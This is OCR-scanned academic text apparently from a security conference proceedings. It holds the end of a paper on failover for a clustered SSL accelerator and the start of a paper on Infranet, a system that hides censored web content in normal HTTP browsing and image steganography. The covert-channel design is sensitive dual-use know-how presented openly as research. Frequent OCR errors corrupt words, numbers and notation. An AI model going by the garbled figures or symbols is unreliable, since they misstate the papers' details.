simply picks up with reading the rest of the record. Fig- 
ure 24 shows a partial ACK. 

In practice, partial ACKs occur infrequently. First, 
most HTTPS transactions involve a small client write 
(the HTTP request) followed by a lot of data fiom the 
server (the HTTP response). Thus, the records usually 
fit in the effective window. In the case where a lot of 
data is being written by the client the window will 
quickly open up to be larger than a record (although not 
larger than a pathological 32K record). Finally, we only 
allow partial ACKs to occur when there is no unACKed 
data written to the server, thus simplifying the logic 
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Figure 24 Partial ACK 


considerably. The expectation is that when we ACK the 
previous record the client will transmit the rest of the 
record we’re currently reading. 

Unfortunately, this expectation is not always ful- 
filled. If the server is slow enough the client will be 
driven into congestion control mode. The congestion 
window will be one segment and thus we will never 
receive the rest of our record. Accordingly, whenever 
we ACK to the client and we have a partially read 
record we set a timer for the round trip time (RTT) + 
IAT. This allows the ACK to arrive at the client and the 
client to send the next segment if it is going to. If it 
doesn’t and the timer fires we once again perform a par- 
tial ACK. 


5.6 Server to Client Writes 


Naively, one might think that we could use the same 
strategy for server to client writes. Unfortunately, this is 
not the case. The problem is that TCP has no concept of 
record boundary. In order to provide acceptable interac- 
tive performance we must be prepared to write data to 
the client as soon as we receive it, but this makes the 
sizes of the SSL records somewhat arbitrary. They are 
determined by some combination of the maximum read 
size, buffering TCP window, and relay loading. After 
failover the mirror is likely to read a different size 
chunk from the server than the original relay did. If 
nothing 1s done to ensure that the same record sizes are 
used, the stream of records won’t match the original 
and MAC errors will occur. 
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Figure 25 shows a simple example of what can go 
wrong. The relay reads 4096 bytes from the server. This 
represents approximately 4 segments on an Ethernet. 
The relay packages this up in a single record (R1) and 
then sends it to the client. At this point the relay fails. 
When the mirror comes online only 1024 bytes are 
available from the server and so it transmits a 1024-byte 
record (R1I’, which has the same sequence number as 
Rl). Its next read is 3072 bytes so it transmits a 
3072-byte record (R2). 
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Vigure 26 Record size misalignment 


Figure 26 shows what happens when the client tries to 
read the records. On top we see the data stream as writ- 
ten by the original relay. At bottom we see the data 
stream as written by the mirror which takes over. In the 
middle is the inconsistent data stream as seen when the 
client gets part of its data from the relay and part from 
the mirror. In this case, we’ve assumed that the client 
has read the entire first record. Thus, it will attempt to 
start reading a new record but will actually start reading 
in the middle of the second record from the murror (rep- 
resented by the shaded section). This will create errors. 
Note that this particular error occurs because of the data 
expansion introduced by SSL record framing. Even 
though the same amount of plaintext data is transmitted 
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by both relay and mirror, the addition of headers, MACs 
and padding causes the cumulative size of the SSL traf- 
fic to be larger when transmitted as two records than as 
One. It is this size difference that causes the misalign- 
ment seen in Figure 26. Depending on the exact timing 
of events, a number of other merges of the data streams 
are possible but almost none of them are correct. 

In order to avoid this situation we need to cluster 
the record size before we transmit the record. The mir- 
ror maintains a queue of the sizes of records which have 
been written but not ACKed. Thus, whenever it receives 
a pre-write—the size of a record about to be written—it 
adds it to the list. Whenever it receives an update that a 
record was ACKed it removes that record from the list. 
Upon failover the mirror uses this list to detennine what 
size records to read. The sequence of events its shown tn 
Figure 27. Note that because this technique commits us 
to reading certain record sizes after a restore, the relay 
can get blocked reading from the server in the same 
way as we Saw in section 5.5. We use the same partial 
ACK technique to remove such deadlocks. 
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5.7 Closure 


There are three conditions which might trigger closing 
the connection: 


* —aclose from the client 
® a close from the server 
* anerror 


Rather than attempt to note each of these conditions and 
cluster them we adopt the simple expedient of with- 
holding ACKs for the messages which generated them. 
After a failover, we expect the retransmits to generate 
the same condition on the mirror. However, if we are 
closing because of an error we do cluster that the 


session is not to be resumed. When the mirror receives 
that update it removes the entry from the session cache. 
However, all three of these conditions are likely to 
require us to transmit an SSL alert. We first disann the 
read callbacks so that no further attempts will be made 
to read data. We then transmit the alert. Once the alert ts 
ACKed we are ready to proceed with shutting down the 
socket, which we do in the same fashion as we 
described for TCP clustering. If an error occurred, we 
also cluster that the SSL session ts not to be resumed, as 
required by the SSL specification. At this point the 
relay will ACK all received data along with its FIN. 


5.8 Performance 


Our primary focus with SSLACC has been on protocol 
and implementation correctness. However, we have 
done some simple performance tuning. We have bench- 
marked SSLACC in two configurations: "SSLACC 
200" with a 200 RSA/sec coprocessor and "SSLACC 
600" with a 600 RSA/sec coprocessor (both using Rain- 
bow Cryptoswift cards). Both configurations are 
846/MHz Pentium IIIs with 512 MB of RAM. Figure 
28 shows the performance of SSLACC 200 clusters of 
sizes between one and seven (the number of machines 
we had available) under a pure handshake load: SSL 
handshake followed by a tnvial HTTP fetch. 


conns/sec 


Beste elt a eo Se 





Figure 28 SSLACC 200 performance 


The "norm" line represents the observed performance of 
a SSLACC 200 cluster. The "proj" line represents the 
theoretical performance of an unclustered system. Per- 
formance scales linearly up to about 3-4 nodes, at 
which point it starts to plateau off. The problem, at least 
in part, is that the nodes are being swamped by cluster- 
ing overhead. Essentially every handshake message pro- 
cessed requires a checkpoint, so the number of mes- 
sages scales with the number of nodes. Thus, even 
though we add more processing power, an increasing 
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amount of CPU time is spent handling messages from 
other nodes. As a result, the addition of a node doesn’t 
increase the overall cluster capacity as much as desired. 
This provides strong motivation for reducing the 
amount of inter-cluster traffic. Some simple profiling 
determined that much of this overhead was spent tn 
interrupt handlers for cluster message arrival. Aggregat- 
ing multiple message sends into a single larger message 
reduces this overhead and gives us improved scalability, 
as shown by the "agg" line in Figure 28. 

SSLACC 600 performance shows a similar pattern, 
but with the overload appearing far earlier, as shown in 
Figure 29. Note that the "norm" line shows plateaus at 
almost exactly the same place for SSLACC 600, as for 
SSLACC 200, indicating (as expected) that the bottle- 
neck is the CPUs, not the acceleration hardware. 

Other than the addition of aggregation, no signifi- 
cant performance tuning has been attempted on 
SSLACC, so SSLACC’s performance behavior, espe- 
cially for large clusters, is poorly understood. In partic- 
ular, the causes of the drop at 7 nodes for SSLACC 200 
and the plateau at 3-5 and jump at 6 units for SSLACC 
600 (both with aggregation turned on) are unknown. It’s 
also worth noting that the performance of SSLACC 600 
at 6 and 7 nodes is superior to that of SSLACC 200, 
suggesting that even though the acceleration hardware 
is operating at less than rated capacity in both cases, the 
difference between the 200 and 600 cards is neverthe- 
less affecting performance. Further performance tuning 
of SSLACC handshaking is a topic for future research. 
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Figure 29 SSLACC 600 performance 


Our second major performance metric is through- 
put. Our SSLACC test units are fitted with two 100 
MHz Ethernet interfaces and we’re capable of saturat- 
ing the network with a single unit. We don’t currently 
have SSLACC units with gigabit Ethernet interfaces so 
we have not yet determined the performance of multiple 
units with higher loads. Since cluster traffic 1s carried 
over the same wire as data traffic, the amount of capac- 
ity consumed by cluster traffic (in particular, update 
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ACKs) increases as the number of nodes increases. 
Thus, as we add cluster nodes, the overall throughput of 
the cluster decays, even though the entire network 
capacity is being used. Adding a third network interface 
for cluster traffic or converting to gigabit Ethernet 
would be obvious solutions to the problem of limited 
network capacity, but we have not benchmarked either. 


5.9 Conclusions 


SSLACC occupies a new point in the clustered acceler- 
ator design space. Three of the most desirable proper- 
ties in a clustered accelerator are scalability, high avail- 
ability, and the ability to run on cost-effective hardware. 
The current generation of SSL accelerators run on com- 
modity hardware and performance scales morc or less 
linearly with the number of nodes. Traditional cluster- 
ing solutions can achieve high availability by using spe- 
cial hardware and at the cxpense of poor scalability. 
The IP clustering design used in SSLACC provides 
high availability and some scalability on commodity 
hardware. Although we never expect to achieve perfect 
linear scaling due to the demands of clustering, we 
anticipate substantial improvements as the result of fur- 
ther tuning. 

The primary obstacle to using the IP clustering 
approach in general is that it comes at a substantial 
engineering cost. The primary engineering work on 
SSLACC consumed roughly 3 man years. Much of this 
time was spent in understanding the subtleties of clus- 
tering TCP applications and thus could be leveraged to 
reliably cluster other protocols. 


A.1 Asynchronous I/O and Cryptography 


SSLACC runs as a single process under AlchemyOS. In 
order to simultaneously serve multiple clients and 
servers, all I/O is done in non-blocking mode. Instead 
of using select(), AlchemyOS offers an asyn- 
chronous version of select () called 
async_select(). async_select() allows the 
programmer to register callbacks for the usual I/O 
events (read, write, exception) as well as an extra one 
(writedrain— indicating that data has been ACKed by a 
peer). Callbacks are fired synchronously: when an 
application enters the event loop by calling Hiber- 
nate () pending callbacks fire, in no particular order. 
Cryptographic operations may also complete asyn- 
chronously, typically if they are being handled in hard- 
ware. Our cryptographic API allows the caller to pro- 
vide a callback. If the operation is to be perfonned 
asynchronously the API point returns a result code tndi- 
cating this. When the operation completes the callback 
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fires. SSLACC can then collect the output of the 


operation. 
Finally, cluster messages are transmitted asyn- 
chronously. The programmer calls IP Clus- 


ter Send() and provides a callback which will be 
called when the message is acknowledged. 


B.1 Destruction 


Neither cryptographic operations nor cluster updates 
can be cancelled. This creates an interesting problem. 
Consider what happens if an attempt is made to destroy 
a connection which has a pending operation (perhaps 
due to errors or premature closure by a peer). If the con- 
nection context is destroyed immediately, the callback 
will be left holding a dangling pointer. Attempts to 
operate on such pointers generally result in segmenta- 
tion faults. 

SSLACC uses a complicated system of interlocks 
to prevent this case. If a request is received to destroy a 
quiescent connection, that connection can simply be 
destroyed immediately. If callbacks are pending then 
the connection is marked for destruction but not imme- 
diately destroyed. When a callback fires for such a con- 
nection, it checks to see if all callbacks have fired and 
the connection can be destroyed. The last callback 
destroys the connection. 

If the interlocks are misconfigured, we either see 
panics (if we destroy too soon) or memory leaks (if we 
fail to destroy when the last callback fires). The compli- 
cation arises because the interlocks are woven into the 
(rather complex) state transitions that a connection goes 
through as it closes. Interlock issues have been a sub- 
stantial debugging problem, which might potentially be 
alleviated by a simpler design such as a reference count. 
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Abstract 


An increasing number of countries and companies rou- 
tinely block or monitor access to parts of the Internet. 
To counteract these measures, we propose Infranet, a sys- 
tem that enables clients to surreptitiously retrieve sensitive 
content via cooperating Web servers distributed across the 
global Internet. These Infranet servers provide clients ac- 
cess to censored sites while continuing to host normal un- 
censored content. Infranet uses a tunnel protocol that pro- 
vides a covert communication channel between its clients 
and servers, modulated over standard HTTP transactions 
that resemble innocuous Web browsing. In the upstream 
direction, Infranet clients send covert messages to Infranet 
servers by associating meaning to the sequence of HTTP 
requests being made. In the downstream direction, Infranet 
servers return content by hiding censored data in uncen- 
sored images using steganographic techniques. We describe 
the design, a prototype implementation, security properties, 
and performance of Infranet. Our security analysis shows 
that Infranet can successfully circumvent several sophisti- 
cated censoring techniques. 


1 Introduction 


The World Wide Web is a prime facilitator of free 
speech; many people rely on it to voice their views and to 
gain access to information that traditional publishing venues 
may be loath to publish. However, over the past few years, 
many countries, political regimes, and corporations have at- 
tempted to monitor and often restrict access to portions of 
the Web by clients who use networks they control. Many of 
these attempts have been successful, and the use of the Web 
as a free-flowing medium for information exchange is being 
severely compromised. 

Several countries filter Internet content at their borders, 
fearful of alternate political views or external influences. 
For example, China forbids access to many news sites that 
have been critical of the country’s domestic policies. Saudi 
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Arabia is currently soliciting content filter vendors to help 
block access to sites that the government deems inappro- 
priate for political or religious reasons [10]. Germany cen- 
sors all Nazi-related material. Australia’s laws ban pornog- 
raphy. In addition, Internet censorship repeatedly threat- 
ens to cross political boundaries. For example, the U.S. 
Supreme Court recently rejected France’s request to censor 
Nazi-related material on Yahoo’s site [12]. Censorship and 
surveillance also extend into free enterprise, with several 
companies in the U.S. reportedly blocking access to sites 
that are not related to conducting business. In addition to 
blocking sites, many companies routinely monitor their em- 
ployees’ Web surfing habits. 

This paper focuses on the challenging technical prob- 
lems of circumventing Web censorship and largely ignores 
the many related political, legal, and policy issues. In par- 
ticular, we investigate how to leverage Web communication 
with accessible servers in order to surreptitiously retrieve 
censored content, while simultaneously maintaining plausi- 
ble deniability against receiving that content. To this end, 
we develop a covert communication tunnel that securely 
hides the exchange of censored content in normal, innocu- 
ous Web transactions. 

Our system, called Infranet, consists of requesters and 
responders communicating over this covert tunnel. A re- 
quester, running on a user’s computer, first uses the tunnel 
to request censored content. Upon receiving the request, the 
responder, a standard public Web server running Infranet 
software, retrieves the sought content from the Web and re- 
turns it to the requester via the tunnel.! 

The covert tunnel protocol between an Infranet requester 
and responder must be difficult to detect and block. More 
specifically, a censor should not be able to detect that a 
Web server is an Infranet responder or that a client is an In- 


'We use the terms “requester” and “responder” rather than the more 
traditional “client” and “server” to avoid confusion with Web clients 
(‘browsers’) and Web servers. We also considered a number of terms 
like “proxy”, “gateway”, “front-end”, etc., but rejected them for similar 
reasons. 
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franet requester. Nothing in their HTTP transactions ought 
to arouse suspicion. 

The Infranet tunnel protocol uses novel techniques for 
covert upstream communication. It modulates covert mes- 
sages on standard HTTP requests for uncensored con- 
tent using a confidentially negotiated function which maps 
URLs to message fragments that compose requests for cen- 
sored content. For downstream communication, the tunnel 
protocol leverages existing data hiding techniques, such as 
steganography. While steganography provides little defense 
against certain attacks, we are confident that the ideas we 
present can be used in conjunction with other data hiding 
techniques. 

The main challenge in the design of the tunnel protocol is 
ensuring covertness while providing a level of performance 
suitable for interactive browsing. Furthermore, the tunnel 
protocol must defend against a censor capable of passive at- 
tacks based on logging all transactions and packets, active 
attacks that modify messages or transactions, and imper- 
sonation attacks where the adversary pretends to be a legit- 
imate Infranet requester or responder. Our security analy- 
sis indicates that Infranet can successfully circumvent sev- 
eral sophisticated censoring techniques, including various 
active and passive attacks. Our system handles almost all of 
these threats while achieving reasonable performance. This 
is achieved by taking advantage of the asymmetric band- 
width requirements of Web transactions, which require sig- 
nificantly less upstream bandwidth than downstream band- 
width. 

To assess the feasibility of our design, we implemented 
an Infranet prototype and conducted a series of tests using 
client-side Web traces to evaluate the performance of our 
system. Our experimental evaluation shows that Infranet 
provides acceptable bandwidth for covert Web browsing. 
Our range-mapping algorithm for upstream communication 
allows a requester to innocuously transmit a hidden request 
in a number of visible HTTP requests that 1s proportional 
to the binary entropy of the hidden request distribution. For 
two typical Web sites running Infranet responders, we find 
that a requester using range-mapping can modulate 50% of 
all requests for hidden content in 6 visible HTTP requests or 
fewer and 90% of all hidden requests in 10 visible HTTP re- 
quests or fewer. Using typical Web images, our implemen- 
tation of downstream hiding transmits approximately 1 kB 
of hidden data per visible HTTP response. 


2 Related Work 


Many existing systems seek to circumvent censorship 
and surveillance of Internet traffic. Anonymizer.com 
provides anonymous Web sessions by requiring users to 
make Web requests through a proxy that anonymizes user- 
specific information, such as the user’s IP address [2]. The 
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company also provides a product that encrypts HTTP re- 
quests to protect user privacy; Zero Knowledge provides a 
similar product [24]. Squid is a caching Web proxy that 
can be used as an anonymizing proxy [21]. The primary 
shortcoming of these schemes is that a well-known proxy 1s 
subject to being blocked by acensor. Additionally, the use 
of an encrypted tunnel between a user and the anonymizing 
proxy (e.g., port forwarding over ssh) engenders suspicion. 

Because censoring organizations are actively discover- 
ing and blocking anonymizing proxies, SafeWeb has pro- 
posed a product called Triangle Boy, a peer-to-peer appli- 
cation that volunteers run on their personal machines and 
that forwards clients’ Web requests to Safe Web’s anonymiz- 
ing proxy [19, 27]. SafeWeb recently formed an alliance 
with the Voice of America [28], whose mission is to en- 
able Chinese Internet users to gain access to censored sites. 
However, Triangle Boy has several drawbacks. First, the 
encrypted connection to a machine running Triangle Boy is 
suspicious and can be trivially blocked since SSL handshak- 
ing is unencrypted. Second, SafeWeb’s dependence on an 
encrypted channel for confidentiality makes it susceptible to 
traffic analysis, since Web site fingerprinting can expose the 
Web sites that a user requests, even if the request itself 1s en- 
crypted [7]. Third, SafeWeb is vulnerable to several attacks 
that allow an adversary to discover the identity of a Safe Web 
user, as well as every Web site visited by that user [11]. 
Peekabooty also attempts to circumvent censoring firewalls 
by sending SSL-encrypted requests for censored content to 
a third party, but its reliance on SSL also makes it suscepti- 
ble to traffic analysis and blocking attacks [26]. 

Various systems have attempted to protect anonymity 
for users who publish and retrieve censored content. In 
Crowds, users join a large, geographically diverse group 
whose members cooperate in issuing requests, thus mak- 
ing it difficult to associate requests with the originating 
user [18]. Onion routing also separates requests from the 
users who make them [25]. Publius [30], Tangler [29], and 
Free Haven [4] focus on protecting the anonymity of pub- 
lishers of censored content and the content itself. Freenet 
provides anonymous content storage and retrieval (3). 

Infranet aims to overcome censorship and surveillance, 
but also provides plausible deniability for users. In addition 
to establishing a secure channel between users and Infranet 
responders, our system creates a covert channel within 
HTTP, 1.e., a communication channel that transmits infor- 
mation in a manner not envisioned by the original design of 
HTTP [9]. In contrast with techniques that attempt to over- 
come censorship using a confidential channel (e.g., using 
SSL, which is trivial to detect and block) [19, 23, 24, 26], 
our approach is significantly harder to detect or block. To 
be effective against blocking, a scheme for circumventing 
censorship must be covert as well as secure. 
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Figure 1. Infranet system architecture. 


3 System Architecture 


This section presents Infranet’s design considerations 
and system architecture and gives an overview of the sys- 
tem’s communication protocols. 


3.1 Terminology 


Figure 1 shows the system architecture of Infranet and 
introduces relevant terminology. Users surf Web content as 
usual via a Web browser. To retrieve censored content, the 
browser uses a software entity that runs on the same host, 
called the /nfranet requester, as its local proxy. The In- 
franet requester knows about one or more /nfranet respon- 
ders, which are Web servers in the global Internet that im- 
plement additional Infranet functionality. The idea is for 
the Web browser to request censored content via the In- 
franet requester, which in turn sends a message to an In- 
franet responder. The responder retrieves this content from 
the appropriate origin Web server and returns it to the re- 
quester, which delivers the requested content to the browser. 
The requester and responder communicate with each other 
using a covert tunnel. Technically, Infranet involves three 
distinct functions—issuing a hidden request, decoding the 
hidden request, and serving the requested content. We first 
describe a system whereby the responder performs the latter 
two functions. We describe a design enhancement in Sec- 
tion 8 whereby an untrusted forwarder can forward hidden 
requests and serve hidden content, thereby making it more 
difficult for a censor to block access to the system. 

The censor shown in Figure 1 might have a wide range 
of capabilities. At a minimum, the censor can block specific 
IP addresses (e.g., of censored sites and suspected Infranet 
responders). More broadly, the censor might have the capa- 
bility to analyze logs of all observed Web traffic, or even to 
modify the traffic itself. 

The long-term success of Infranet depends on the 
widespread deployment of Infranet responders in the Inter- 
net. One way of achieving this might be to bundle responder 
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software with standard Web server software (e.g., Apache). 
Hopefully, a significant number of people will run Infranet 
responders due to altruism or because they believe in free 
speech. 


3.2 Design Goals 


We designed Infranet to meet a number of goals. Or- 
dered by priority, the goals are: 

1. Deniability for any Infranet requester. It should be 
computationally intractable to confirm that any individual 
is intentionally downloading information via Infranet, or to 
determine what that information might be. 

2. Statistical deniability for the requester. Even if it 1s 
impossible to confirm that a client is using Infranet, an ad- 
versary might notice statistical anomalies in browsing pat- 
terns that suggest a client 1s using Infranet. Ideally, an In- 
franet user’s browsing patterns should be statistically indis- 
tinguishable from those of normal Web users. 

3. Responder covertness. Since an adversary will likely 
block all known Infranet responders, it must be difficult 
to detect that a Web server is running Infranet simply by 
watching its behavior. Of course, any requester using the 
server will know that the server is an Infranet responder; 
however, this knowledge should only arise from possession 
of a secret that remains unavailable to the censor. If the cen- 
sor chooses not to block access to the responder but rather to 
watch clients connecting to it for Suspicious activities, de- 
niability should not be compromised. The responder must 
assume that all clients are Infranet requesters. This ensures 
that Infranet requesters cannot be distinguished from inno- 
cent users based on the responder’s behavior. 

4. Communication robustness. The Infranet channel 
should be robust in the presence of censorship activities de- 
signed to interfere with Infranet communication. Note that 
it is impossible to be infinitely robust, because a censor who 
blocks all Internet access will successfully prevent Infranet 
communication. Thus, we assume the censor permits some 
communication with non-censored sites. 
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Any technique that prevents a site from being used as an 
Infranet responder should make that site fundamentally un- 
usable by non-Infranet clients. As an example of a scheme 
that is not robust, consider using SSL as our Infranet chan- 
nel. While this provides full requester and responder de- 
niability and covertness (since many Web servers run SSL 
for innocent reasons), it 1s quite plausible for a censor to 
block all SSL access to the Internet, since vast amounts of 
information remain accessible through non-encrypted con- 
nections. Thus, a censor can block SSL-Infranet without 
completely restricting Internet access. 

In a similar vein, 1f the censor has concluded that a par- 
ticular site is an Infranet responder, we should ensure that 
their only option for blocking Infranet access 1s to block all 
access to the suspected site. Hopefully, this will make the 
censor more reluctant to block sites, which will allow more 
Infranet responders to remain accessible. 

5. Performance. We seek to maximize the performance 
of Infranet communication, subject to our other objectives. 


3.3. Overview 


A requester must be able to both join and use Infranet 
without arousing suspicion. To join Infranet, a user must 
obtain the Infranet requester software, plus the IP address 
and public key of at least one Infranet responder. Users 
must be able to obtain Infranet requester software without 
revealing that they are doing so. Information about Infranet 
responders must be available to legitimate users, but should 
not fall into the hands of an adversary who could then con- 
figure a simple IP-based filtering proxy. One way to dis- 
tribute software is out-of-band via a CD-ROM or floppy 
disk. Users can share copies of the software and learn about 
Infranet responders directly from one another. 

The design and implementation of a good tunnel proto- 
col between an Infranet requester and responder is the crit- 
ical determinant of Infranet’s viability. The rest of this sec- 
tion gives an overview of the protocol, and Section 4 de- 
scribes the protocol in detail. 

We define the tunnel protocol between the requester and 
responder in terms of three abstraction layers: 

1. Message exchange. This layer of abstraction specifies 
high-level notions of information that requester and re- 
sponder communicate to each other. 

2. Symbol construction. Any communication system 
must specify an underlying alphabet of symbols that 
are transmitted. This layer of abstraction specifies the 
alphabets for both directions of communication. The 
primary design constraint 1s covertness. 

3. Modulation. The lowest layer of abstraction speci- 
fies the mapping between symbols in the alphabet and 
message fragments. The main design goal is reason- 
able communication bandwidth, without compromis- 
ing covertness. 


Infranet 
Responder 


Infranet 
Requester 


Censor 


7 (MSG , COVER ,,,, SECRET ) 
mS Dy 


# sown (MSG, COVER ,, SECRET ) 





Figure 2. Top-most layer of abstraction in communication 
tunnel. 


The top-most layer of abstraction is the exchange of mes- 
sages between the requester and responder. The requester 
sends requests for content to the responder, hidden in vis- 
ible HTTP traffic. The responder answers with requested 
content, hidden in visible HTTP responses, after obtaining it 
from the origin server. As shown in Figure 2, messages are 
hidden with a hiding function H(MSG, COVER, SECRET), 
where MSG 1s the message to be hidden, COVER 1s the visi- 
ble traffic medium in which MSG 1s hidden, and SECRET en- 
sures that only the requester and responder can reveal MSG. 

Designing the hiding function 1 involves defining a set 
of symbols that map onto message fragments. The set of 
all symbols used to transmit message fragments is called an 
alphabet. Since an ordered sequence of fragments forms a 
message, an ordered sequence of symbols, along with the 
hiding function, also represent a message. Both upstream 
and downstream communication require a set of symbols 
for transmitting messages. 

The lowest abstraction layer is modulation, which speci- 
fies the mapping between message fragments and symbols. 
We discuss several ways to modulate messages in the up- 
stream and downstream directions in Sections 4.2 and 4.3. 


3.3.1 Upstream Communication 


In our design, the cover medium for upstream communica- 
tion, COVERyp, 1S sequences of HTTP requests (note that 
which link 1s selected on the page contains information and 
can therefore be used for communication). 

The alphabet is the set of URLs on the responder’s Web 
site. Other possible alphabets exist, such as various fields 
in the HTTP and TCP headers. We choose to use the set 
of URLs as our alphabet because it is more difficult for the 
transmission of messages to be detected, it is immune to 
malicious field modifications by a censor, and it provides 
reasonable bandwidth. Careful metering of the order and 
timing of the cover HTTP communication makes it diffi- 
cult for the censor to distinguish Infranet-related traffic from 
regular Web browsing. Upstream modulation corresponds 
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Figure 3. Messages exchanged during the tunnel setup 
and steady state communication phases. Message ex- 
changes are driven by a common state machine shown 
on the left. In the optional /nitialize Modulation Func- 
tion state, the responder sends an initial modulation 
function //;,,;; to the requester. 


to mapping a sequence of one or more URL retrievals, visi- 
ble to a censor, to a surreptitious request for a censored Web 
object. 


3.3.2 Downstream Communication 


The cover medium in the downstream _ direction, 
COVERdown, 1S provided by JPEG images (within 
HTTP response streams). The responder uses the high 
frequency components of images as its alphabet for sending 
messages to the requester. This technique provides good 
bandwidth and hiding properties. Downstream modulation 
consists of mapping a sequence of high-frequency image 
components to the censored web object, such as HTML or 
MIME-encoded content. 


4 ‘Tunnel Protocol 


The Infranet tunnel protocol is divided into three main 
components: tunnel setup, upstream communication, and 
downstream communication. Tunnel setup allows both 
parties to agree on communication parameters. Upstream 
communication consists of message transmissions from re- 
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quester to responder. Downstream communication consists 
of message transmissions in the opposite direction. 

Both the requester and responder operate according to 
the finite state machine shown in the left column of Figure 3. 
The first four states constitute tunnel setup. The last two 
compose steady state communication, where the requester 
transmits hidden URLs and the responder answers with the 
corresponding content. 

We now explore various design alternatives and describe 
the mechanisms used for each part of the protocol. 


4.1 Tunnel Setup 


An Infranet requester and responder establish a tunnel 
by agreeing on parameters to the hiding functions H,, and 
Hdown. The requester and responder exchange these pa- 
rameters securely, thereby ensuring confidentiality during 
future message exchanges. 

Figure 3 shows the messages involved in establishing the 
tunnel. Communication with an Infranet responder begins 
with a request for an HTML page served by the responder. 
This first request initiates the following tunnel setup proto- 
col: 


1. Set User /D 


The requester sends an implicit HELLO message to the 
responder by requesting an HTML document, such as 
index .html. 


To identify subsequent message transmissions from 
the requester, the responder creates a unique user ID 
for the requester. This user ID could be explicitly set 
via a Web cookie. However, for greater defense against 
tampering, the user ID should be set implicitly. As ex- 
plained later, the responder modifies the visible URLs 
on its Web site for each requester. Such modification is 
sufficient to identify requesters based on which URLs 
are requested. 


2. Exchange Key 


To ensure confidentiality, the requester uses a 
responder-specific modulation function U/;,;; to send 
a shared secret, SKEY, encrypted with the public key 
of the responder. 


The responder recovers SKEY using its private key. 


3. Update Modulation Function 


The responder first selects a requester-specific modu- 
lation function Urynne:. Next, the responder hides the 
function in an HTTP response stream with the shared 
secret SKEY. 


The requester recovers Utunne: from the HTTP re- 
sponse stream using SKEY. 


Za 


Thus, the tunnel setup consists of the exchange of two 
secrets: a secret key SKEY, and a secret modulation func- 
tion Utunnelt. SKEY ensures that only the requester 1s ca- 
pable of decoding the messages hidden in HTTP response 
streams. Utunnet allows the requester to hide messages in 
HTTP request streams. The secrecy of Utunne: provides 
confidentiality for upstream messages by ensuring that it is 
hard for a censor to uncover the surreptitious requests, even 
if a requester 1s discovered. 

In order for the requester to initiate the transmission of 
SKEY, encrypted with the Infranet responder’s public key, 
the requester must have a way of sending a message to the 
responder. The transmission is done using an initial modu- 
lation function, U;ni¢. This initial function may be a well- 
known function. Alternatively, the responder may send an 
initial modulation function, U/4jn;4 to the requester. To pro- 
tect responder covertness, this initial function should be hid- 
den using a responder-specific key IKEY. The requester may 
learn IKEY with the IP address and public key of the respon- 
der. This method, which requires the additional /nitialize 
Modulation Function state, has the advantage of allowing 
responders to periodically change modulation schemes, but 
suffers the disadvantage of requiring more HTTP message 
exchanges to establish a tunnel. 

With the tunnel established, the requester and respon- 
der enter the Transmit Request state. In this state, the re- 
quester uses Utynne to hide a request for content in a series 
of HTTP requests sent to the Infranet responder. When the 
covert request completes, the requester and responder enter 
the Transmit Response state, at which point the responder 
fetches the requested content and hides it in an HTTP re- 
sponse stream using SKEY. When the transmission is com- 
plete, the requester and responder both re-enter the Trans- 
mit Request state. 


4.2 Upstream Communication 


At the most fundamental level, a requester sends a mes- 
sage upstream by sending the responder a visible HTTP re- 
quest that contains additional hidden information. Figure 4 
shows the decomposition of the upstream hiding function 
Hup(MSG, HTTP REQUEST STREAM,U,), where MSG is 
the transmitted information (e.g., request for hidden con- 
tent), HTTP REQUEST STREAM 1s the cover medium, and 
U, is a modulation function that hides the message in a vis- 
ible HTTP request stream. The specific mapping from mes- 
sage fragments to visible HTTP requests depends on the pa- 
rameter 7. 

To send a hidden message, a requester divides it into 
multiple fragments, each of which translates to a visi- 
ble HTTP request. The responder applies U/;1 to the re- 
quester’s HTTP requests to extract the message fragments 
and reassembles them to recover the hidden message. 

There are many possible choices for the upstream mod- 


252. I 1th USENIX Security Symposium 


Infranet eaneor Infranet 
Requester Responder 


ul (MSG FRAG ,) 
= URL, ATP Roques ur) 


a * (uRt,) 
= MSG FRAG 
HTTP Response ‘ 


U (MSG FRAG =) 


= URL, HTTP Request; URL ,) 
u 7 (URL) 
= MSG FRAG . 
HTTP Response 


Figure 4. Sequence of HTTP requests and responses in- 
volved in a single upstream message transmission. Both 
parties must know the secret modulation function l/,. 


ulation function U/,. Each option for U/, presents a differ- 
ent design tradeoff between covertness and upstream band- 
width. There are many modulation functions that pro- 
vide deniability for an Infranet requester—certain types 
of basic mapping schemes, when implemented correctly, 
can do so. We describe two such examples in Sec- 
tions 4.2.1] and 4.2.2. To provide statistical dentability, how- 
ever, requests should follow typical browsing patterns more 
closely. To achieve this, we propose the range-mapping 
scheme in Section 4.2.3. 


4.2.1 Implicit Mapping 


One of the simplest U/, modulates each bit of a hidden mes- 
sage as a separate HTTP request. While this approach pro- 
vides extremely limited bandwidth, it offers a high level of 
covertness—on any given page the requester may click on 
any one of half of the links to specify the next fragment. For 
example, one can specify that any even-numbered link on 
the page corresponds to a 0, while any odd-numbered link 
corresponds to a I. A generalization of this scheme uses the 
function R mod n, where R is specified by the Ath link on 
the last requested page and mn 1s at most equal to the total 
number of links on that page. This mechanism may be less 
covert, but sends lg(n) bits of information per visible HTTP 
request. 


4.2.2 Dictionary-based Schemes 


An Infranet responder can send the requester a static or dy- 
namic codebook that maps visible HTTP requests to mes- 
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sage fragments. While a static mapping between visible 
HTTP requests and URLs is simple to implement, the re- 
sulting visible HTTP request streams may result in strange 
browsing behavior. To create a dynamic mapping, the re- 
sponder uses images embedded in each requested page to 
send updates to the modulation function as the upstream 
transmission progresses. The responder may also use its 
log of hidden requests to provide most probable comple- 
tions to an Ongoing message transmission. ‘Transmission 
of a b-bit hidden message using a dictionary-based scheme, 
where each dictionary entry contains M bits requires b/M 
visible HTTP requests. 

The structure of the dictionary determines both the 
covertness and bandwidth of the modulated request. There- 
fore, the dictionary might be represented as a directed 
graph, based on the structure of the Infranet responder’s 
Web site. To preserve confidentiality in the event that a 
communication tunnel is revealed, the dictionary should be 
known only to the requester and the responder. 


4.2.3. Range-mapping 


The requester and responder communicate via a channel 
with far greater bandwidth from the responder to the re- 
quester than vice versa. Because the responder serves many 
Infranet users’ requests for hidden content, it can maintain 
the frequency distribution of hidden messages, C. A re- 
quester wants to send a message, URL, from the distribution 
C. This communication model is essentially the asymmetric 
communication model presented by Adler and Maggs [ 1]. 

We leverage their work to produce an iterative modula- 
tion function based on range-mapping of the distribution of 
lexicographically ordered URLs, C. In each round, the re- 
sponder sends the requester a set S of tuples (s;,7;), where 
s; is a string in the domain of C and 1; is the visible HTTP 
request that communicates s;. s; is called a split-string. 
It specifies the range of strings in C that are lexicograph- 
